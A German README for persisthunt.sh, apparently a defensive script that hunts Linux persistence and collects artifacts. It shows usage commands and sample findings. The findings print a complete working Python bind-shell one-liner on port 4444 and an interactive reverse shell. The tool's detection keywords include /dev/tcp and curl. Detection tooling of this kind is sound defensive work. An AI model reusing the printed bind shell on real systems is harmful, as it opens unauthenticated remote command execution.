
Linux-Persistenzerkennungs-, Jagd- und Artefaktsammlungsskript
persisthunt.sh hilft, Untersuchungen zu beschleunigen, indem es gezielt persistenzbezogene Artefakte sammelt und verdächtige Muster hervorhebt, die häufig mit Linux-Persistenztechniken in Verbindung gebracht werden.
Das Skript unterstützt bei der Persistenz-Erkennung, beim Threat Hunting und bei der Artefakt-Sammlung über bekannte Linux-Persistenzmechanismen hinweg. Die Ergebnisse werden anhand von Konfidenz und Schweregrad in drei Stufen kategorisiert – High, Low und Informational. Beispiele hierfür sind verdächtige Autostart-Einträge, die auf /tmp/, /home/, /dev/tcp, curl verweisen, oder die Erkennung aktiver Bind-/Reverse-Shells.
Es ist als flexible Grundlage konzipiert, die Verteidiger für ihre Umgebungen anpassen können, indem sie Erkennungslogik und Schlüsselwörter hinzufügen oder entfernen. Die Ausgabe kann umfangreich sein und eine umgebungsspezifische Analyse erfordern, eignet sich aber auch zur Überprüfung und Zusammenfassung mithilfe von LLMs oder KI-Agenten.
Als Root-Benutzer ausführen und die Ausgabe in eine Datei umleiten
sudo persisthunt.sh > output.log
Ausführung auf einem Remote-Host via SSH
ssh [email protected] 'bash -s' < persisthunt.sh > output.log 2>&1
=== [HIGH] Active reverse shell ===
bob 3889906 0.0 0.0 2800 1848 pts/2 S+ 06:38 0:00 sh -i
=== [HIGH] Active bind shell ===
LISTEN 0 1 0.0.0.0:4444 0.0.0.0:* users:(("python3",pid=3891687,fd=3))
bob 3891687 0.7 0.3 19540 12320 pts/3 S+ 06:41 0:00 python3 -c exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",4444));s1.listen(1);c,a=s1.accept(); while True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")
=== [HIGH] eBPF programs with raw network sockets (possible BPFdoor persistence) ===
PID: 3903559, Executable: bpfdoorpoc, Stack trace: /proc/3903559/stack:[<0>] packet_recvmsg+0x6e/0x5c0
=== [LOW] Recent ELF binary in tmp/home/hidden dirs ===
/var/tmp/.test